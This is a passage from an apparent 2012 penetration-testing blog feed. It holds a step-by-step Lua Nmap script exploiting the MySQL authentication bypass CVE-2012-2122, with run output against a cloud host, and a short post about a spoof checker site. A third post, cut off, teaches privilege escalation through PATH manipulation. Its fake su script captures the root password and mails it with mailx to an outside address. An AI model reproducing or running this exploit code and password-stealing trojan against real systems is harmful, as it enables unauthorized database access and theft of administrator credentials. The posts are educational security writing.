<p>I won&#8217;t rehash the <a href="http://nmap.org/book/nse-script-format.html" target="_blank">documentation</a> too much here but we are interested in a portrule which will run after the specified nmap scan has completed. A portrule runs when you identify a port which meets a certain criteria. In our case we want an open tcp port 3306 (the MySQL default).</p>
<div class="gistem"><div id="gist-2918098" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'><span class="n">portrule</span> <span class="o">=</span> <span class="n">shortport</span><span class="p">.</span><span class="n">port_or_service</span><span class="p">(</span><span class="mi">3306</span><span class="p">,</span> <span class="s2">&quot;</span><span class="s">mysql&quot;</span><span class="p">)</span></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918098/a7df6391832b52772d8c7b84421d0f6cb549aeb5/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918098#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918098">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>Next we define an <em>action</em> function. This will be triggered by the portrule if our open port condition is met. This is where we get our hands dirty.</p>
<div class="gistem"><div id="gist-2918108" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'><span class="n">action</span> <span class="o">=</span> <span class="k">function</span><span class="p">(</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="p">)</span></div><div class='line' id='LC2'><br/></div><div class='line' id='LC3'>&nbsp;&nbsp;<span class="kd">local</span> <span class="n">socket</span> <span class="o">=</span> <span class="n">nmap</span><span class="p">.</span><span class="n">new_socket</span><span class="p">()</span></div><div class='line' id='LC4'>&nbsp;&nbsp;<span class="kd">local</span> <span class="n">catch</span> <span class="o">=</span> <span class="k">function</span><span class="p">()</span> <span class="n">socket</span><span class="p">:</span><span class="n">close</span><span class="p">()</span> <span class="k">end</span></div><div class='line' id='LC5'>&nbsp;&nbsp;<span class="kd">local</span> <span class="n">try</span> <span class="o">=</span> <span class="n">nmap</span><span class="p">.</span><span class="n">new_try</span><span class="p">(</span><span class="n">catch</span><span class="p">)</span></div><div class='line' id='LC6'>&nbsp;&nbsp;<span class="kd">local</span> <span class="n">result</span> <span class="o">=</span> <span class="p">{}</span></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918108/024123e6337a6222ff8461e0b8d48ceb81960bff/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918108#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918108">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>First thing to comment on, indentation. LUA does not require indentation but frankly, unless you&#8217;re playing code golf you&#8217;d be crazy not to indent and make the code readable. I use a two space indent because I&#8217;m that way out.</p>
<p>So we&#8217;re defining the action function. It takes two parameters, host and port which are given to it by NSE magic. We don&#8217;t need to worry too much about that in this exercise.</p>
<p>Next we define four local variables. LUA has global and local variable scope. Anything not defined as local is global.</p>
<p>socket = nmap.new_socket() returns an NSE socket object.</p>
<p>catch is a function we will use if we encounter any exceptions. You can call this what you like. It just closes the socket.</p>
<p>try uses the Nmap new_try API call. new_try sets up an exception handler and, if passed a function as above <em>nmap.new_try(catch)</em> it will execute that function if an exception occurs.</p>
<p>Lastly we define an empty LUA <a href="http://lua-users.org/wiki/TablesTutorial" target="_blank">table</a> called <em>results</em> in which to store our results later.</p>
<p>The next few lines are pretty self-explanatory.</p>
<div class="gistem"><div id="gist-2918113" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'>&nbsp;&nbsp;<span class="c1">-- set a reasonable timeout value</span></div><div class='line' id='LC2'>&nbsp;&nbsp;<span class="n">socket</span><span class="p">:</span><span class="n">set_timeout</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span></div><div class='line' id='LC3'><br/></div><div class='line' id='LC4'>&nbsp;&nbsp;<span class="c1">-- get our usernames to try</span></div><div class='line' id='LC5'>&nbsp;&nbsp;<span class="kd">local</span> <span class="n">usernames</span> <span class="o">=</span> <span class="n">try</span><span class="p">(</span><span class="n">unpwdb</span><span class="p">.</span><span class="n">usernames</span><span class="p">())</span></div><div class='line' id='LC6'>&nbsp;&nbsp;<span class="kd">local</span> <span class="n">password</span> <span class="o">=</span> <span class="s2">&quot;</span><span class="s">cve-2012-2122&quot;</span></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918113/e258e890e98eba2424d0e7ee8e2bc3699d95626e/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918113#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918113">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>We set a socket timeout of 5000 milliseconds (that&#8217;s 5 seconds y&#8217;all) in case something goes wrong with the connection.</p>
<p>The usernames line is important. This builds a table of usernames by calling the unpwdb.usernames() function. The unpwdb.usernames function keeps returning usernames from the in-built list (or your list if specified) until they are exhausted or timeout settings are reached.</p>
<p>Finally we set a password to use for all the login attempts. We set this to something we don&#8217;t expect to work.</p>
<p>Now we enter a loop through the usernames table, for each username we try up to 300 login attempts with the same password.</p>
<div class="gistem"><div id="gist-2918117" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'>&nbsp;&nbsp;<span class="k">for</span> <span class="n">username</span> <span class="k">in</span> <span class="n">usernames</span> <span class="k">do</span></div><div class='line' id='LC2'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">stdnse</span><span class="p">.</span><span class="n">print_debug</span><span class="p">(</span> <span class="s2">&quot;</span><span class="s">Trying %s ...&quot;</span><span class="p">,</span> <span class="n">username</span> <span class="p">)</span></div><div class='line' id='LC3'><br/></div><div class='line' id='LC4'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="c1">-- try up to 300 times to trigger the vuln</span></div><div class='line' id='LC5'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">for</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">300</span><span class="p">,</span> <span class="mi">1</span> <span class="k">do</span></div><div class='line' id='LC6'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">stdnse</span><span class="p">.</span><span class="n">print_debug</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">&quot;</span><span class="s">attempt number %d&quot;</span><span class="p">,</span> <span class="n">i</span> <span class="p">)</span></div><div class='line' id='LC7'><br/></div><div class='line' id='LC8'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="kd">local</span> <span class="n">status</span><span class="p">,</span> <span class="n">response</span> <span class="o">=</span> <span class="n">socket</span><span class="p">:</span><span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span></div><div class='line' id='LC9'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">if</span><span class="p">(</span> <span class="ow">not</span><span class="p">(</span><span class="n">status</span><span class="p">)</span> <span class="p">)</span> <span class="k">then</span> <span class="k">return</span> <span class="s2">&quot;</span><span class="s">  </span><span class="se">n</span><span class="s">  ERROR: Failed to connect to mysql server&quot;</span> <span class="k">end</span></div><div class='line' id='LC10'><br/></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918117/fdfe55475b44e6885bc5d05ac3d3ee258e3edfd6/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918117#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918117">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>for loops in LUA are easy: for <em>condition</em> do &#8211;something end. We have two above. The outer loop is iterating through the usernames table we built earlier, storing the returned value in <em>username</em> and then entering the loop.</p>
<p>stdnse.print_debug will print out the text <em>Trying username</em> if nmap debugging is set to 1 or more (nmap -d).</p>
<p>The inner for loop sets a variable i to 0, the maximum count to 300 and the step to increment as 1. Basically, it&#8217;ll perform 300 (well 301 to be specific as I started at 0 &#8211; oops, off by one error) iterations of the upcoming code. As the MySQL bug is triggered on a 1 in 255 chance I figured this should be enough though I&#8217;ve seen elsewhere people having problems with this and ending up with numbers like 10,000 attempts.</p>
<p>If nmap debugging is set to 2 (nmap -d -d) then the attempt number will be printed.</p>
<p>local status, response = socket:connect(host, port) attempts a connection to host, port returning an error on the next line if <em>status</em> is not defined.</p>
<div class="gistem"><div id="gist-2918119" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">status</span><span class="p">,</span> <span class="n">response</span> <span class="o">=</span> <span class="n">mysql</span><span class="p">.</span><span class="n">receiveGreeting</span><span class="p">(</span> <span class="n">socket</span> <span class="p">)</span></div><div class='line' id='LC2'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">if</span> <span class="p">(</span> <span class="ow">not</span><span class="p">(</span><span class="n">status</span><span class="p">)</span> <span class="p">)</span> <span class="k">then</span></div><div class='line' id='LC3'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">stdnse</span><span class="p">.</span><span class="n">print_debug</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="n">SCRIPT_NAME</span><span class="p">)</span></div><div class='line' id='LC4'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">socket</span><span class="p">:</span><span class="n">close</span><span class="p">()</span></div><div class='line' id='LC5'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span> <span class="n">response</span></div><div class='line' id='LC6'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC7'><br/></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918119/9dad65d4fbbc5e6b3e4b7f11501c764330aee06a/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918119#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918119">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>This part of the code uses the receiveGreeting function from the NSE MySQL library in order to handle the data sent back by the MySQL server. The following screenshot from <a href="http://wireshark.org" target="_blank">Wireshark</a> (click to enlarge) shows a decoded version of the MySQL greeting.</p>
<p><a href="http://offensivecoder.com/blog/wp-content/uploads/2012/06/mysql_greeting.png"><img class="size-medium wp-image-389 alignnone" title="MySQL protocol greeting" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/mysql_greeting-300x106.png" alt="" width="300" height="106" /></a></p>
<p>Pay particular attention to the salt as this is used in the next section of the code. A new salt is generated for every connection request, this is why we perform a new connection on each iteration of this loop rather than firing multiple authentication requests down a single TCP connection (yes, I learned that the hard way).</p>
<div class="gistem"><div id="gist-2918123" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">status</span><span class="p">,</span> <span class="n">response</span> <span class="o">=</span> <span class="n">mysql</span><span class="p">.</span><span class="n">loginRequest</span><span class="p">(</span> <span class="n">socket</span><span class="p">,</span> <span class="p">{</span> <span class="n">authversion</span> <span class="o">=</span> <span class="s2">&quot;</span><span class="s">post41&quot;</span><span class="p">,</span> <span class="n">charset</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">charset</span> <span class="p">},</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">response</span><span class="p">.</span><span class="n">salt</span> <span class="p">)</span></div><div class='line' id='LC2'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">errorcode</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">then</span></div><div class='line' id='LC3'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="nb">table.insert</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="nb">string.format</span><span class="p">(</span><span class="s2">&quot;</span><span class="s">user %s is vulnerable to auth bypass&quot;</span><span class="p">,</span> <span class="n">username</span> <span class="p">)</span> <span class="p">)</span></div><div class='line' id='LC4'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">break</span></div><div class='line' id='LC5'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC6'><br/></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918123/9aec5759cb6a750bd399bc7a08d7e8a9a637a740/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918123#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918123">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>This is the meat and potatoes now. mysql.loginRequest is a part of the mysql NSE library and sends, as its name suggests, a login request. Note the use of our <em>username </em>and <em>password</em> variables and the salt from the response. This is all put together by the loginRequest function to create a MySQL login hash which is then sent over our socket.</p>
<p>If the errorcode returned in the response to our login request is 0 it means we had a successful login. If that&#8217;s the case we use the LUA table.insert function to append a string containing details of the successful to the <em>result</em> table we created earlier. If we got a successful auth we also issue a <em>break</em> which stops the loop.</p>
<p>Next we close our loops and issue a socket:close() to tidy up our connection.</p>
<div class="gistem"><div id="gist-2918126" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">socket</span><span class="p">:</span><span class="n">close</span><span class="p">()</span></div><div class='line' id='LC2'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC3'>&nbsp;&nbsp;<span class="k">end</span></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918126/4da87ea2dd646111816641ef7ca9399ecf8bb9f2/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918126#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918126">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>Finally we output our result table using the stdnse.format_output function which gives that pretty hierarchical view we put in the comments for @output right at the start.</p>
<div class="gistem"><div id="gist-2918278" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'>&nbsp;&nbsp;<span class="k">return</span> <span class="n">stdnse</span><span class="p">.</span><span class="n">format_output</span><span class="p">(</span><span class="kc">true</span><span class="p">,</span> <span class="n">result</span><span class="p">)</span></div><div class='line' id='LC2'><br/></div><div class='line' id='LC3'><span class="k">end</span></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918278/f9d1083fdac655156d5ede15c5e56f5a4a57cf7b/file1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918278#file_file1.lua" style="float:right;margin-right:10px;color:#666">file1.lua</a>
            <a href="https://gist.github.com/2918278">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>And that&#8217;s it. The script is done. By default, the nmap username database will not contain the value <em>nse</em> which we set up earlier as our vulnerable user so we will need to specify our own usernames file. To do this we can do the following:</p>
<blockquote><p>echo nse &gt; usernames.txt</p></blockquote>
<p>Now we are all ready to run it against our vulnerable MySQL EC2 instance.</p>
<div class="gistem"><div id="gist-2918310" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'># nmap --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args=&quot;userdb=usernames.txt&quot; ec2-46-137-134-79.eu-west-1.compute.amazonaws.com</div><div class='line' id='LC2'><br/></div><div class='line' id='LC3'>Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:58 BST</div><div class='line' id='LC4'>Nmap scan report for ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79)</div><div class='line' id='LC5'>Host is up (0.050s latency).</div><div class='line' id='LC6'>PORT     STATE SERVICE</div><div class='line' id='LC7'>3306/tcp open  mysql</div><div class='line' id='LC8'>| mysql-auth-bypass: </div><div class='line' id='LC9'>|_  user nse is vulnerable to auth bypass</div><div class='line' id='LC10'><br/></div><div class='line' id='LC11'>Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds</div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918310/b4396dcf29d49a684154c8fc290ed1fa847cf02f/gistfile1.txt" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918310#file_gistfile1.txt" style="float:right;margin-right:10px;color:#666">gistfile1.txt</a>
            <a href="https://gist.github.com/2918310">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>Nice. If you want a bit more verbosity then add the -v and -d (or -d -d) flags too.</p>
<div class="gistem"><div id="gist-2918314" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'># nmap -v -d --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args=&quot;userdb=usernames.txt&quot; ec2-46-137-134-79.eu-west-1.compute.amazonaws.com</div><div class='line' id='LC2'><br/></div><div class='line' id='LC3'>Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:59 BST</div><div class='line' id='LC4'>--------------- Timing report ---------------</div><div class='line' id='LC5'>&nbsp;&nbsp;hostgroups: min 1, max 100000</div><div class='line' id='LC6'>&nbsp;&nbsp;rtt-timeouts: init 1000, min 100, max 10000</div><div class='line' id='LC7'>&nbsp;&nbsp;max-scan-delay: TCP 1000, UDP 1000, SCTP 1000</div><div class='line' id='LC8'>&nbsp;&nbsp;parallelism: min 0, max 0</div><div class='line' id='LC9'>&nbsp;&nbsp;max-retries: 10, host-timeout: 0</div><div class='line' id='LC10'>&nbsp;&nbsp;min-rate: 0, max-rate: 0</div><div class='line' id='LC11'>---------------------------------------------</div><div class='line' id='LC12'>NSE: Loaded 1 scripts for scanning.</div><div class='line' id='LC13'>NSE: Script Pre-scanning.</div><div class='line' id='LC14'>NSE: Starting runlevel 1 (of 1) scan.</div><div class='line' id='LC15'>mass_rdns: Using DNS server 8.8.8.8</div><div class='line' id='LC16'>Initiating Parallel DNS resolution of 1 host. at 14:59</div><div class='line' id='LC17'>mass_rdns: 0.00s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]</div><div class='line' id='LC18'>Completed Parallel DNS resolution of 1 host. at 14:59, 0.00s elapsed</div><div class='line' id='LC19'>DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]</div><div class='line' id='LC20'>Initiating SYN Stealth Scan at 14:59</div><div class='line' id='LC21'>Scanning ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79) [1 port]</div><div class='line' id='LC22'>Packet capture filter (device eth1): dst host 10.150.0.143 and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 46.137.134.79)))</div><div class='line' id='LC23'>Discovered open port 3306/tcp on 46.137.134.79</div><div class='line' id='LC24'>Completed SYN Stealth Scan at 14:59, 0.05s elapsed (1 total ports)</div><div class='line' id='LC25'>Overall sending rates: 18.58 packets / s, 817.43 bytes / s.</div><div class='line' id='LC26'>NSE: Script scanning 46.137.134.79.</div><div class='line' id='LC27'>NSE: Starting runlevel 1 (of 1) scan.</div><div class='line' id='LC28'>NSE: Starting mysql-auth-bypass against 46.137.134.79:3306.</div><div class='line' id='LC29'>Initiating NSE at 14:59</div><div class='line' id='LC30'>NSE: Trying nse ...</div><div class='line' id='LC31'>NSE: Finished mysql-auth-bypass against 46.137.134.79:3306.</div><div class='line' id='LC32'>Completed NSE at 15:00, 16.25s elapsed</div><div class='line' id='LC33'>Nmap scan report for ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79)</div><div class='line' id='LC34'>Host is up, received user-set (0.052s latency).</div><div class='line' id='LC35'>Scanned at 2012-06-12 14:59:58 BST for 16s</div><div class='line' id='LC36'>PORT     STATE SERVICE REASON</div><div class='line' id='LC37'>3306/tcp open  mysql   syn-ack</div><div class='line' id='LC38'>| mysql-auth-bypass: </div><div class='line' id='LC39'>|_  user nse is vulnerable to auth bypass</div><div class='line' id='LC40'>Final times for host: srtt: 51988 rttvar: 51988  to: 259940</div><div class='line' id='LC41'><br/></div><div class='line' id='LC42'>NSE: Script Post-scanning.</div><div class='line' id='LC43'>NSE: Starting runlevel 1 (of 1) scan.</div><div class='line' id='LC44'>Read from /usr/local/bin/../share/nmap: nmap-payloads nmap-services.</div><div class='line' id='LC45'>Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds</div><div class='line' id='LC46'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Raw packets sent: 1 (44B) | Rcvd: 1 (44B)</div><div class='line' id='LC47'><br/></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918314/2c80837186a8584c12867e255754d316b6bb3994/gistfile1.txt" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918314#file_gistfile1.txt" style="float:right;margin-right:10px;color:#666">gistfile1.txt</a>
            <a href="https://gist.github.com/2918314">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>After all this it turned out that someone on the nmap-dev mailing list had already put together a far more comprehensive solution which ports the automatic hash dumping of @jcran&#8217;s metasploit module to boot. You can see that here <a href="http://seclists.org/nmap-dev/2012/q2/679">http://seclists.org/nmap-dev/2012/q2/679</a>.</p>
<p>However, for an hour&#8217;s coding &#8211; and that really is all this took &#8211; I now know how to code some basic LUA and put together an Nmap script. This has to be a good thing.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/06/12/nmap-nse-howto-mysql-auth-bypass/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>mysqlcheck.com: It&#8217;s so wrong but so right</title>
		<link>http://offensivecoder.com/2012/06/11/mysqlcheck-com-its-so-wrong-but-so-right/</link>
		<comments>http://offensivecoder.com/2012/06/11/mysqlcheck-com-its-so-wrong-but-so-right/#comments</comments>
		<pubDate>Mon, 11 Jun 2012 12:22:26 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[spoof]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://blog.offensivecoder.com/?p=375</guid>
		<description><![CDATA[This is a real quickie. The news broke yesterday about an authentication bypass in MySQL (and MariaDB). For a laugh I created a spoof website called MySQL Check at http://mysqlcheck.com/. It&#8217;s not aimed at anyone in particular and doesn&#8217;t really<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/06/11/mysqlcheck-com-its-so-wrong-but-so-right/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p><a href="http://offensivecoder.com/blog/wp-content/uploads/2012/06/mysqlcheck_logo.png"><img class="alignnone size-full wp-image-377" title="mysqlcheck_logo" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/mysqlcheck_logo.png" alt="" width="220" height="57" /></a></p>
<p>This is a real quickie. The news <a href="http://seclists.org/oss-sec/2012/q2/493" target="_blank">broke</a> yesterday about an authentication bypass in MySQL (and MariaDB). For a laugh I created a spoof website called MySQL Check at <a href="http://mysqlcheck.com/" target="_blank">http://mysqlcheck.com/</a>. It&#8217;s not aimed at anyone in particular and doesn&#8217;t really have some deep purpose other than a few lulz.</p>
<p>However, that said, there is a worrying trend for these kinds of websites recently and I&#8217;d be lying if part of the inspiration for this didn&#8217;t come from those. I understand that the lay person outside of the security industry will want to get some kind of reassurance when these &#8220;superbugs&#8221; come out or passwords get dumped on the Internet somewhere. However, we really need to find a way to better educate the masses that putting potentially sensitive information, like the IP address of our potentially vulnerable database server into a website which <em>looks ok</em>, is not really a good idea.</p>
<p>Maybe, just maybe, this website can help with that. Spread the word &#8211; <a href="http://mysqlcheck.com/" target="_blank">http://mysqlcheck.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/06/11/mysqlcheck-com-its-so-wrong-but-so-right/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>su: You&#039;re doing it wrong</title>
		<link>http://offensivecoder.com/2012/06/11/su-youre-doing-it-wrong/</link>
		<comments>http://offensivecoder.com/2012/06/11/su-youre-doing-it-wrong/#comments</comments>
		<pubDate>Mon, 11 Jun 2012 01:10:04 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[path manipulation]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://blog.offensivecoder.com/?p=347</guid>
		<description><![CDATA[This has to be one of the oldest tricks in the book but I still love it. Let&#8217;s say you manage to get shell access to a Linux (or other Unix) box as a standard user. As a penetration tester<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/06/11/su-youre-doing-it-wrong/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p><a href="http://offensivecoder.com/blog/wp-content/uploads/2012/06/suroot.jpg"><img class="alignnone size-full wp-image-365" title="suroot" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/suroot.jpg" alt="" width="500" height="300" /></a></p>
<p>This has to be one of the oldest tricks in the book but I still love it. Let&#8217;s say you manage to get shell access to a Linux (or other Unix) box as a standard user. As a penetration tester or evil h@x0r you&#8217;re likely to want to escalate your privileges to root. One of the simplest yet most reliable methods I&#8217;ve ever come across is PATH manipulation.</p>
<p>Too many systems administrators do this to su to root:</p>
<blockquote><p>pwnme@debian1:~$ su<br />
Password:<br />
root@debian1:/home/pwnme#</p></blockquote>
<p>Why is this bad? Because I can edit the environment for this user and make <em>su</em> be whatever I want. Now there&#8217;s load of things you could do with this but my favourite is a good old fashioned shell script which emulates the behaviour of su.</p>
<p>First we edit the PATH for the user. Traditionally $HOME/bin is placed first in $PATH if it exists so, if it doesn&#8217;t already you might want to create that and check the $HOME/.profile file to make sure it gets called first. What we&#8217;re trying to do is get our <em>su</em> script to be executed instead of <em>/bin/su</em> which the user intended.</p>
<p>Let&#8217;s check the .profile file, on Debian it&#8217;s just as we&#8217;d like it:</p>
<blockquote><p>pwnme@debian1:~$ tail -4 .profile<br />
# set PATH so it includes user&#8217;s private bin if it exists<br />
if [ -d "$HOME/bin" ] ; then<br />
PATH=&#8221;$HOME/bin:$PATH&#8221;<br />
fi</p></blockquote>
<p>So, let&#8217;s make the bin directory in $HOME, assuming it doesn&#8217;t exist.</p>
<blockquote><p>pwnme@debian1:~$ mkdir bin</p></blockquote>
<p>Now we put the following:</p>
<blockquote><p>#!/bin/sh</p>
<p>echo -n &#8220;Password: &#8221;<br />
stty -echo<br />
read password<br />
echo<br />
stty echo<br />
sleep 3<br />
echo &#8220;su: Authentication failure&#8221;</p>
<p># muwahahaha, we have the password, now for the evil.<br />
# you can make this do what you like here.<br />
echo &#8220;su attempted with password: $password&#8221; | mailx -s &#8220;su attempt from `uname -n`&#8221; root@offensivecoder.com</p>
<p>exec /bin/su</p></blockquote>
<p>into $HOME/bin/su and make sure it&#8217;s executable:</p>
<blockquote><p>pwnme@debian1:~$ chmod +x bin/su<br />
pwnme@debian1:~$ ls -l bin/<br />
total 4<br />
-rwxr-xr-x 1 pwnme pwnme 335 Jun 11 01:04 su</p></blockquote>
<p>Great. Source the .profile again to ensure it&#8217;s up to date then you should see that $HOME/bin is first in $PATH and that our new su script is called first:</p>
<blockquote><p>pwnme@debian1:~$ source .profile<br />
